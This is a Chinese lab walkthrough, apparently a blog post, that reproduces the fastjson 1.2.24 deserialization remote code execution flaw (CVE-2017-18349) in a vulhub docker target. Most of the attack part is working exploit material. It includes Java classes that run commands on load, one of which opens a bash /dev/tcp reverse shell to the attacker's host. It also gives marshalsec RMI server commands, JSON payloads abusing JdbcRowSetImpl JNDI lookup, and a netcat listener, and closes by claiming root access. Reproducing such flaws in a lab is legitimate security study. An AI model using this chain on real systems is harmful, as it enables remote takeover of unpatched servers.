fastjson 1.2.24 反序列化 RCE 漏洞复现(CVE-2017-18349)

fastjson 1.2.24 反序列化 RCE 漏洞复现(CVE-2017-18349)

fastjson 1.2.24 反序列化导致任意命令执行漏洞

前置环境

  1. kali虚拟机,安装好docker,docker-compose
  2. 宿主机,安装配置好java,python环境
  3. 虚拟机用NAT网卡模式,可以与宿主机互相通信(可以ping通)

漏洞环境搭建

  1. 在kali虚拟机中,利用vulhub的docker镜像快速搭建。
  2. 下载 git clone https://github.com/vulhub/vulhub或者直接下载zip文件
  3. 进入vulhub文件目录, 再cd fastjson/1.2.24-rce
  4. 启动docker镜像,sudo docker-compose up -d,启动好输入sudo docker ps,看是否成功启动
    在这里插入图片描述
  5. 安装好后,输入ifconfig指令,查看虚拟机ip,此时在宿主机访问http://虚拟机ip:8090,可以看到json格式输出
    在这里插入图片描述
    在这里插入图片描述

漏洞复现

都是在宿主机(攻击机)进行操作。

  1. 使用com.sun.rowset.JdbcRowSetImpl的利用链,通过 JNDI 注入来执行命令
  2. 先编译上传命令执行代码,新建 TouchFile.java
// TouchFile.java
// cmd run javac TouchFile.java 
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
// do nothing
        }
    }
}
  1. 打开终端cmd执行javac TouchFile.java编译,此时生成TouchFile.class文件

  2. 利用python快速启动临时web服务(ps.省事),python -m http.server 8888
    在这里插入图片描述

  3. 利用marshalsec工具(需要maven环境编译),或者直接下载marshalsec-0.0.3-SNAPSHOT-all.jar 链接: https://pan.baidu.com/s/1pDaDDKWD1VmTAmlnQMB-6Q?pwd=rv7u 提取码: rv7u

  4. 通过java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://宿主机ip:8888/#TouchFile 2335启动RMI服务器,监听2335 端口,并指定加载远程类 TouchFile.class在这里插入图片描述

  5. 利用burpsuite向kali虚拟机靶场发送payload,带上RMI地址,可以看到上图的RMI服务已经发送了TouchFile

POST / HTTP/1.1
Host: 192.168.132.128:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.31.41:2335/TouchFile",
        "autoCommit":true
    }
}

在这里插入图片描述

  1. 进入虚拟机,sudo docker ps查看容器id,执行sudo docker exec -it a08916637ab9 bash进入容器,执行ls /tmp,查看到,我们成功创建了success文件

获取webshell

  1. 道理同上,创建shell.java,并执行javac shell.java进行编译
import java.lang.Runtime;
import java.lang.Process;
public class shell{
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash","-c","exec 5<>/dev/tcp/宿主机ip/19527;cat <&5 | while read line; do $line 2>&5 >&5; done"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}
  1. 将marshalsec指定文件改成shell
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://宿主机ip:8888/#shell 2335
  2. 下载一个netcat,https://eternallybored.org/misc/netcat/,在本地监听19527端口。.\nc.exe -lvvp 19527
  3. 利用BurpSuite发送payload
POST / HTTP/1.1
Host: 192.168.132.128:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 163
 

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.31.41:2335/shell",
        "autoCommit":true
    }
}

在这里插入图片描述

  1. 成功获得root权限,执行whoami
    在这里插入图片描述
  • 12
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 15
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 15
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值